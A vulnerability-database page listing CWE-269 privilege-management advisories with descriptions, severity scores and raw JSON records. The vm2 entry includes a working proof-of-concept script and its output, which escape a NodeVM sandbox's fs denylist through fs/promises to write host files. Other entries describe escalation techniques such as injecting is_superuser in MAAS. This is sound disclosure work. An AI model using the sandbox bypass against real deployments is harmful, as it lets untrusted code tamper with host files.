Common Weakness Enumeration

CWE-269

Discouraged

Improper Privilege Management

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

6487 vulnerabilities reference this CWE, most recent first.

GHSA-6R3V-P45H-XCPF

Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47
VLAI
Details

Windows Hyper-V Elevation of Privilege Vulnerability

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-28314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-13T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows Hyper-V Elevation of Privilege Vulnerability",
  "id": "GHSA-6r3v-p45h-xcpf",
  "modified": "2022-05-24T17:47:18Z",
  "published": "2022-05-24T17:47:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28314"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28314"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6R6G-263H-FPJQ

Vulnerability from github – Published: 2024-05-17 09:31 – Updated: 2024-05-17 09:31
VLAI
Details

Improper Privilege Management vulnerability in WebToffee WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels allows Privilege Escalation.This issue affects WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels: from n/a through 4.2.1.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-17T09:15:19Z",
    "severity": "HIGH"
  },
  "details": "Improper Privilege Management vulnerability in WebToffee WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels allows Privilege Escalation.This issue affects WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels: from n/a through 4.2.1.",
  "id": "GHSA-6r6g-263h-fpjq",
  "modified": "2024-05-17T09:31:01Z",
  "published": "2024-05-17T09:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51546"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/print-invoices-packing-slip-labels-for-woocommerce/wordpress-woocommerce-pdf-invoices-packing-slips-delivery-notes-and-shipping-labels-plugin-4-2-1-privilege-escalation-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6R7X-4Q7G-H83J

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2024-04-24 21:03
VLAI
Summary
Rancher Project Members Have Continued Access to Namespaces After Being Removed From Them
Details

In Rancher 2.0.0 through 2.1.5, project members have continued access to create, update, read, and delete namespaces in a project after they have been removed from it.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rancher/rancher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-6287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T21:03:07Z",
    "nvd_published_at": "2019-04-10T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Rancher 2.0.0 through 2.1.5, project members have continued access to create, update, read, and delete namespaces in a project after they have been removed from it.",
  "id": "GHSA-6r7x-4q7g-h83j",
  "modified": "2024-04-24T21:03:07Z",
  "published": "2022-05-13T01:02:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rancher/rancher/issues/17244"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rancher/rancher/issues/17724"
    },
    {
      "type": "WEB",
      "url": "https://forums.rancher.com/t/rancher-release-v2-1-6/13148"
    },
    {
      "type": "WEB",
      "url": "https://forums.rancher.com/t/rancher-security-announcement-cve-2018-20321-and-cve-2019-6287/13149"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rancher/rancher"
    },
    {
      "type": "WEB",
      "url": "https://rancher.com/blog/2019/2019-01-29-explaining-security-vulnerabilities-addressed-in-rancher-v2-1-6-and-v2-0-11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rancher Project Members Have Continued Access to Namespaces After Being Removed From Them"
}

GHSA-6RGM-PHQ5-F5WW

Vulnerability from github – Published: 2022-11-14 12:00 – Updated: 2022-11-16 19:00
VLAI
Details

Escalation of privileges in the Web Server in Ironman Software PowerShell Universal 2.x and 3.x allows an attacker with a valid app token to retrieve other app tokens by ID via an HTTP web request. Patched Versions are 3.5.3, 3.4.7, and 2.12.6.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-45183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-14T08:15:00Z",
    "severity": "HIGH"
  },
  "details": "Escalation of privileges in the Web Server in Ironman Software PowerShell Universal 2.x and 3.x allows an attacker with a valid app token to retrieve other app tokens by ID via an HTTP web request. Patched Versions are 3.5.3, 3.4.7, and 2.12.6.",
  "id": "GHSA-6rgm-phq5-f5ww",
  "modified": "2022-11-16T19:00:25Z",
  "published": "2022-11-14T12:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45183"
    },
    {
      "type": "WEB",
      "url": "https://blog.ironmansoftware.com/psu-2022-11-cve"
    },
    {
      "type": "WEB",
      "url": "https://docs.powershelluniversal.com/changelog"
    },
    {
      "type": "WEB",
      "url": "https://ironmansoftware.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RH5-QQ4Q-97XH

Vulnerability from github – Published: 2026-10-01 15:36 – Updated: 2026-10-01 15:36
VLAI
Summary
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Details

Summary

NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.

With the following configuration:

require: {
  builtin: ['*', '-fs', '-child_process']
}

require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-fs', '-child_process']
  }
});

This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.

Affected Files / Functions

  • lib/builtin.js
  • DANGEROUS_BUILTINS
  • BUILTIN_MODULES
  • makeBuiltinsFromLegacyOptions
  • addDefaultBuiltin
  • lib/resolver.js
  • Resolver.resolve
  • Resolver.loadBuiltinModule
  • lib/setup-node-sandbox.js
  • requireImpl

Root Cause

lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.

There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').

Security Boundary Crossed

Sandboxed code can perform host filesystem writes even though the embedder denied fs.

Impact

Confirmed impact:

  • Host file creation
  • Host file write

The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.

Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

  • require('node:fs/promises') also loads and can write the proof file.
  • Adding -fs/promises blocks require('fs/promises').
  • Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

  • fs
  • fs/promises
  • node:fs
  • node:fs/promises

Negative entries with and without node: should be normalized consistently.

Suggested Fix

  1. Normalize builtin names before allow/deny checks:
  2. Strip node: for comparison.

  3. Use one canonical key form internally.

  4. Treat negative builtin entries as family denials where appropriate:

  5. -fs should block fs/promises.

  6. -inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.

  7. Add regression tests for:

  8. builtin: ['*', '-fs'] blocks fs/promises.
  9. builtin: ['*', '-fs'] blocks node:fs/promises.
  10. -node:fs/promises and -fs/promises behave equivalently.
  11. Explicit allowlist behavior is documented and covered.
Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:36:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNodeVM\u0027s builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n}\n```\n\n`require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` are blocked, but `require(\u0027fs/promises\u0027)` and `require(\u0027node:fs/promises\u0027)` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `\u0027*\u0027` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node\u0027s builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require(\u0027node:fs/promises\u0027)` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027./\u0027);\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require(\u0027fs\u0027);\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e \u0026\u0026 e.code;\n      }\n\n      try {\n        require(\u0027child_process\u0027);\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e \u0026\u0026 e.code;\n      }\n\n      const fsp = require(\u0027fs/promises\u0027);\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, \u0027utf8\u0027);\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, \u0027utf8\u0027) : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require(\u0027node:fs/promises\u0027)` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require(\u0027fs/promises\u0027)`.\n- Adding only `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `fs/promises`.\n   - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.",
  "id": "GHSA-6rh5-qq4q-97xh",
  "modified": "2026-10-01T15:36:49Z",
  "published": "2026-10-01T15:36:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes"
}

GHSA-6RJR-CG8X-GC8F

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-07-13 00:01
VLAI
Details

The TIBCO Spotfire Server and TIBCO Enterprise Runtime for R components of TIBCO Software Inc.'s TIBCO Enterprise Runtime for R - Server Edition, TIBCO Enterprise Runtime for R - Server Edition, TIBCO Enterprise Runtime for R - Server Edition, TIBCO Spotfire Analytics Platform for AWS Marketplace, TIBCO Spotfire Server, TIBCO Spotfire Server, TIBCO Spotfire Server, TIBCO Spotfire Statistics Services, TIBCO Spotfire Statistics Services, and TIBCO Spotfire Statistics Services contain a vulnerability that theoretically allows a low privileged attacker with local access on the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from the affected component searching for run-time artifacts outside of the installation hierarchy. Affected releases are TIBCO Software Inc.'s TIBCO Enterprise Runtime for R - Server Edition: versions 1.2.4 and below, TIBCO Enterprise Runtime for R - Server Edition: versions 1.3.0 and 1.3.1, TIBCO Enterprise Runtime for R - Server Edition: versions 1.4.0, 1.5.0, and 1.6.0, TIBCO Spotfire Analytics Platform for AWS Marketplace: versions 11.3.0 and below, TIBCO Spotfire Server: versions 10.3.12 and below, TIBCO Spotfire Server: versions 10.4.0, 10.5.0, 10.6.0, 10.6.1, 10.7.0, 10.8.0, 10.8.1, 10.9.0, 10.10.0, 10.10.1, 10.10.2, 10.10.3, and 10.10.4, TIBCO Spotfire Server: versions 11.0.0, 11.1.0, 11.2.0, and 11.3.0, TIBCO Spotfire Statistics Services: versions 10.3.0 and below, TIBCO Spotfire Statistics Services: versions 10.10.0, 10.10.1, and 10.10.2, and TIBCO Spotfire Statistics Services: versions 11.1.0, 11.2.0, and 11.3.0.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-28830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-29T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The TIBCO Spotfire Server and TIBCO Enterprise Runtime for R components of TIBCO Software Inc.\u0027s TIBCO Enterprise Runtime for R - Server Edition, TIBCO Enterprise Runtime for R - Server Edition, TIBCO Enterprise Runtime for R - Server Edition, TIBCO Spotfire Analytics Platform for AWS Marketplace, TIBCO Spotfire Server, TIBCO Spotfire Server, TIBCO Spotfire Server, TIBCO Spotfire Statistics Services, TIBCO Spotfire Statistics Services, and TIBCO Spotfire Statistics Services contain a vulnerability that theoretically allows a low privileged attacker with local access on the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from the affected component searching for run-time artifacts outside of the installation hierarchy. Affected releases are TIBCO Software Inc.\u0027s TIBCO Enterprise Runtime for R - Server Edition: versions 1.2.4 and below, TIBCO Enterprise Runtime for R - Server Edition: versions 1.3.0 and 1.3.1, TIBCO Enterprise Runtime for R - Server Edition: versions 1.4.0, 1.5.0, and 1.6.0, TIBCO Spotfire Analytics Platform for AWS Marketplace: versions 11.3.0 and below, TIBCO Spotfire Server: versions 10.3.12 and below, TIBCO Spotfire Server: versions 10.4.0, 10.5.0, 10.6.0, 10.6.1, 10.7.0, 10.8.0, 10.8.1, 10.9.0, 10.10.0, 10.10.1, 10.10.2, 10.10.3, and 10.10.4, TIBCO Spotfire Server: versions 11.0.0, 11.1.0, 11.2.0, and 11.3.0, TIBCO Spotfire Statistics Services: versions 10.3.0 and below, TIBCO Spotfire Statistics Services: versions 10.10.0, 10.10.1, and 10.10.2, and TIBCO Spotfire Statistics Services: versions 11.1.0, 11.2.0, and 11.3.0.",
  "id": "GHSA-6rjr-cg8x-gc8f",
  "modified": "2022-07-13T00:01:15Z",
  "published": "2022-05-24T19:06:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28830"
    },
    {
      "type": "WEB",
      "url": "https://www.tibco.com/support/advisories/2021/06/tibco-security-advisory-june-29-2021-tibco-spotfire-2021-28830"
    },
    {
      "type": "WEB",
      "url": "http://www.tibco.com/services/support/advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RM3-6FXH-J77H

Vulnerability from github – Published: 2025-12-03 18:30 – Updated: 2025-12-03 18:30
VLAI
Details

An Improper Input Validation vulnerability exists in the user websocket handler of MAAS. An authenticated, unprivileged attacker can intercept a user.update websocket request and inject the is_superuser property set to true. The server improperly validates this input, allowing the attacker to self-promote to an administrator role. This results in full administrative control over the MAAS deployment.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T16:16:00Z",
    "severity": "HIGH"
  },
  "details": "An Improper Input Validation vulnerability exists in the user websocket handler of MAAS. An authenticated, unprivileged attacker can intercept a user.update websocket request and inject the is_superuser property set to true. The server improperly validates this input, allowing the attacker to self-promote to an administrator role. This results in full administrative control over the MAAS deployment.",
  "id": "GHSA-6rm3-6fxh-j77h",
  "modified": "2025-12-03T18:30:24Z",
  "published": "2025-12-03T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7044"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/maas/+bug/2115714"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RV6-25VF-WWRH

Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2022-05-24 17:10
VLAI
Details

An elevation of privilege vulnerability exists when the Windows Graphics Component improperly handles objects in memory, aka 'Windows Graphics Component Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-0898.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-0791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-12T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists when the Windows Graphics Component improperly handles objects in memory, aka \u0027Windows Graphics Component Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-0898.",
  "id": "GHSA-6rv6-25vf-wwrh",
  "modified": "2022-05-24T17:10:56Z",
  "published": "2022-05-24T17:10:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0791"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0791"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6V5J-FF9R-2442

Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2024-10-08 18:32
VLAI
Details

Microsoft splwow64 Elevation of Privilege Vulnerability

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-1648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-12T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft splwow64 Elevation of Privilege Vulnerability",
  "id": "GHSA-6v5j-ff9r-2442",
  "modified": "2024-10-08T18:32:56Z",
  "published": "2022-05-24T17:38:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1648"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1648"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1648"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-020"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-022"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-024"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-078"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-504"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6V5W-2XVC-GHHH

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2024-01-05 15:30
VLAI
Details

The Advanced Access Manager plugin before 6.6.2 for WordPress allows privilege escalation on profile updates via the aam_user_roles POST parameter if Multiple Role support is enabled. (The mechanism for deciding whether a user was entitled to add a role did not work in various custom-role scenarios.)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-35935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-01T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Advanced Access Manager plugin before 6.6.2 for WordPress allows privilege escalation on profile updates via the aam_user_roles POST parameter if Multiple Role support is enabled. (The mechanism for deciding whether a user was entitled to add a role did not work in various custom-role scenarios.)",
  "id": "GHSA-6v5w-2xvc-ghhh",
  "modified": "2024-01-05T15:30:22Z",
  "published": "2022-05-24T17:37:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35935"
    },
    {
      "type": "WEB",
